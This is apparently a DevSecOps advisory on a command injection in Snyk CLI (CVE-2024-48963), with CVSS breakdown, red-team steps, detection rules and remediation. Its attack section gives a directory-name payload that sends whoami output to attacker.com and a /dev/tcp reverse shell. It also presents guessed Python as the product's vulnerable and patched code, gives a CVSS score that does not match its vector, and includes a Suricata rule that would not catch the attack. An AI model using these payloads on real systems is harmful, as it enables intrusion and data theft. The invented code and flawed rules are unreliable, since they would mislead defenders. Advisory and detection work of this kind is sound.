CVE-2024-48963

Executive Summary

CVE-2024-48963 is a critical code injection vulnerability in the Snyk CLI tool, affecting versions prior to 1.1294.0. The vulnerability is triggered when a user runs snyk test inside an untrusted PHP project directory. The flaw lies in the improper sanitization of the current working directory name, which can be crafted to inject arbitrary code. This allows an attacker to execute malicious commands in the context of the user running the Snyk CLI, leading to potential data exfiltration, system compromise, or lateral movement. The CVSS score is 7.5 (High), and while no public exploit code exists, the attack vector is local and requires user interaction. The vendor recommends scanning only trusted projects, and the official patch is to upgrade to version 1.1294.0.

Supply Chain & Package Security

This vulnerability is particularly dangerous in supply chain contexts. If a developer or CI/CD pipeline runs snyk test on a maliciously crafted PHP project (e.g., from a compromised open-source package or a third-party repository), the attacker can achieve code execution on the developer's machine or build server. This could lead to the exfiltration of credentials, source code, or deployment keys, and potentially compromise the entire software supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.5 (High)
• Attack Vector: Local (AV:L) – The attacker must have the ability to place a malicious project on the victim's filesystem.
• Attack Complexity: Low (AC:L) – No special conditions are required beyond the presence of the malicious project.
• Privileges Required: None (PR:N) – The attacker does not need any privileges on the target system.
• User Interaction: Required (UI:R) – The victim must run snyk test inside the malicious project directory.
• Scope: Unchanged (S:U) – The vulnerability does not allow the attacker to affect resources beyond the victim's session.
• Confidentiality Impact: High (C:H) – An attacker can read sensitive files.
• Integrity Impact: High (I:H) – An attacker can modify files or execute arbitrary commands.
• Availability Impact: High (A:H) – An attacker can disrupt system operations.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation probability in the wild), the potential impact is severe, especially in CI/CD environments.

Deep Dive & Mechanics

The vulnerability exists in the Snyk CLI's handling of the current working directory name when scanning PHP projects. The CLI constructs a command or script path using the directory name without proper sanitization. If an attacker creates a directory with a name containing shell metacharacters (e.g., ;, |, $(...), `...`), the directory name is interpolated into a command string that is then executed. For example, a directory named test;id could cause the id command to be executed after the intended Snyk scan.

The vulnerable code likely resembles:

import subprocess
import os

def scan_php_project():
    cwd = os.getcwd()
    # Vulnerable: using cwd directly in a command
    cmd = f"php {cwd}/composer.json"
    subprocess.check_output(cmd, shell=True)

In the patched version, the directory name is properly escaped or validated before being used in any command execution.

Vulnerable vs. Patched Code

Vulnerable Code (Snyk CLI < 1.1294.0):

import subprocess
import os

def scan_php_project():
    cwd = os.getcwd()
    # Vulnerable: unsanitized directory name
    cmd = f"php {cwd}/composer.json"
    subprocess.check_output(cmd, shell=True)

Patched Code (Snyk CLI >= 1.1294.0):

import subprocess
import os
import shlex

def scan_php_project():
    cwd = os.getcwd()
    # Patched: escape the directory name
    safe_cwd = shlex.quote(cwd)
    cmd = f"php {safe_cwd}/composer.json"
    subprocess.check_output(cmd, shell=True)

The patched version uses shlex.quote() to properly escape the directory name, preventing shell injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target machine with Snyk CLI < 1.1294.0 installed.
• Ability to create a directory on the target (e.g., via a shared folder, USB, or social engineering).

Steps:

1. Create a malicious directory with a name containing a command injection payload:

   mkdir "test;curl http://attacker.com/$(whoami)"
   

2. Place a dummy PHP project inside (e.g., a composer.json file).
3. Convince the victim to run snyk test inside this directory.
4. The injected command will execute, sending the output of whoami to the attacker's server.

Advanced Payload:

mkdir "test;bash -c 'exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do $line 2>&5 >&5; done'"

This creates a reverse shell.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual directory names containing shell metacharacters (;, |, $, `).
• Alert on Snyk CLI processes that spawn unexpected child processes (e.g., curl, bash, nc).
• Use endpoint detection and response (EDR) to detect command-line anomalies.

Defense:

• Upgrade Snyk CLI to version 1.1294.0 or later.
• Enforce a policy to only scan trusted projects.
• Use a sandbox or containerized environment for scanning untrusted code.
• Implement application whitelisting to prevent execution of unauthorized binaries.

Indicators of Compromise (IOCs)

• File System: Directories with names containing shell metacharacters (e.g., ;, |, $, `).
• Process: Snyk CLI process (snyk) spawning unexpected child processes like cmd.exe, /bin/sh, curl, wget, bash.
• Network: Outbound connections to unknown IPs or domains from the Snyk CLI process.
• Logs: Event ID 4688 (Windows) or audit logs (Linux) showing snyk spawning suspicious processes.

Detection Engineering

YARA Rule

rule CVE_2024_48963_Snyk_CLI_Code_Injection {
    meta:
        description = "Detects malicious directory names used to exploit CVE-2024-48963"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48963"
    strings:
        $s1 = /[;|$`]/
        $s2 = /snyk test/
    condition:
        $s2 and $s1
}

Sigma Rule

title: Snyk CLI Code Injection via Malicious Directory Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of Snyk CLI in a directory with a suspicious name
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\snyk.exe'
        CommandLine|contains: 'test'
    filter:
        CommandLine|contains:
            - ';'
            - '|'
            - '$'
            - '`'
    condition: selection and filter
falsepositives:
    - Legitimate use of special characters in directory names (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48963 Snyk CLI Code Injection - Outbound Connection"; flow:to_server,established; content:"snyk"; nocase; content:"test"; nocase; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Snyk CLI to version 1.1294.0 or later.
2. Review any CI/CD pipelines that use Snyk CLI and ensure they only scan trusted projects.
3. Conduct a security audit of any projects that were scanned with a vulnerable version.

Long-term Mitigations:

• Implement input validation for directory names in any custom scripts.
• Use static analysis tools to detect similar injection vulnerabilities.
• Train developers on the risks of running security tools on untrusted code.

Workaround: If upgrading is not immediately possible, avoid running snyk test in untrusted directories. Use a dedicated, isolated environment for scanning third-party code.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert